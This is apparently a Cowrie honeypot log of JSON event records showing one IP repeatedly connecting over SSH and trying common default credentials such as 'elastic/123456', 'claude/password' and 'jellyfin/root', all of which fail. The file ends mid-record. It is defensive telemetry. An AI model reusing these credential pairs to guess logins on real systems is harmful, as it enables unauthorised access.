{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:25.058610Z","src_ip":"192.109.200.78","session":"4426546f64de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:25.300736Z","src_ip":"192.109.200.78","session":"4426546f64de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:26.497956Z","src_ip":"192.109.200.78","session":"4426546f64de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43444,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d11d82ac285","protocol":"ssh","message":"New connection: 192.109.200.78:43444 (10.17.0.5:22) [session: 7d11d82ac285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:28.308688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:28.312444Z","src_ip":"192.109.200.78","session":"7d11d82ac285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:28.395116Z","src_ip":"192.109.200.78","session":"7d11d82ac285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:28.638048Z","src_ip":"192.109.200.78","session":"7d11d82ac285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:29.721603Z","src_ip":"192.109.200.78","session":"7d11d82ac285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44352,"dst_ip":"10.17.0.5","dst_port":22,"session":"febbc9d9bee4","protocol":"ssh","message":"New connection: 192.109.200.78:44352 (10.17.0.5:22) [session: febbc9d9bee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:31.941462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:31.957560Z","src_ip":"192.109.200.78","session":"febbc9d9bee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:32.022057Z","src_ip":"192.109.200.78","session":"febbc9d9bee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:32.337598Z","src_ip":"192.109.200.78","session":"febbc9d9bee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:33.421157Z","src_ip":"192.109.200.78","session":"febbc9d9bee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44362,"dst_ip":"10.17.0.5","dst_port":22,"session":"61fe6fdf0661","protocol":"ssh","message":"New connection: 192.109.200.78:44362 (10.17.0.5:22) [session: 61fe6fdf0661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:35.367958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:35.371685Z","src_ip":"192.109.200.78","session":"61fe6fdf0661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:35.452471Z","src_ip":"192.109.200.78","session":"61fe6fdf0661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:35.696723Z","src_ip":"192.109.200.78","session":"61fe6fdf0661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:36.925151Z","src_ip":"192.109.200.78","session":"61fe6fdf0661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44376,"dst_ip":"10.17.0.5","dst_port":22,"session":"98d86886fdc1","protocol":"ssh","message":"New connection: 192.109.200.78:44376 (10.17.0.5:22) [session: 98d86886fdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:38.804648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:38.810115Z","src_ip":"192.109.200.78","session":"98d86886fdc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:38.892416Z","src_ip":"192.109.200.78","session":"98d86886fdc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:39.139078Z","src_ip":"192.109.200.78","session":"98d86886fdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:40.223568Z","src_ip":"192.109.200.78","session":"98d86886fdc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d80b73720fc","protocol":"ssh","message":"New connection: 192.109.200.78:40100 (10.17.0.5:22) [session: 2d80b73720fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:42.201967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:42.205664Z","src_ip":"192.109.200.78","session":"2d80b73720fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:42.364273Z","src_ip":"192.109.200.78","session":"2d80b73720fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:42.835586Z","src_ip":"192.109.200.78","session":"2d80b73720fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:43.920017Z","src_ip":"192.109.200.78","session":"2d80b73720fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40112,"dst_ip":"10.17.0.5","dst_port":22,"session":"99e68ddb134e","protocol":"ssh","message":"New connection: 192.109.200.78:40112 (10.17.0.5:22) [session: 99e68ddb134e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:45.830545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:45.834209Z","src_ip":"192.109.200.78","session":"99e68ddb134e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:45.916678Z","src_ip":"192.109.200.78","session":"99e68ddb134e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"root","message":"login attempt [jellyfin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:46.160776Z","src_ip":"192.109.200.78","session":"99e68ddb134e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:47.327560Z","src_ip":"192.109.200.78","session":"99e68ddb134e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"496dbda099c5","protocol":"ssh","message":"New connection: 192.109.200.78:40124 (10.17.0.5:22) [session: 496dbda099c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:49.138405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:49.142591Z","src_ip":"192.109.200.78","session":"496dbda099c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:49.223898Z","src_ip":"192.109.200.78","session":"496dbda099c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:49.468340Z","src_ip":"192.109.200.78","session":"496dbda099c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.617310523986816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:50.223016Z","src_ip":"172.81.62.90","session":"4fecaec78dca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:50.550712Z","src_ip":"192.109.200.78","session":"496dbda099c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40978,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e86254b79d","protocol":"ssh","message":"New connection: 192.109.200.78:40978 (10.17.0.5:22) [session: 43e86254b79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:52.542483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:52.548552Z","src_ip":"192.109.200.78","session":"43e86254b79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-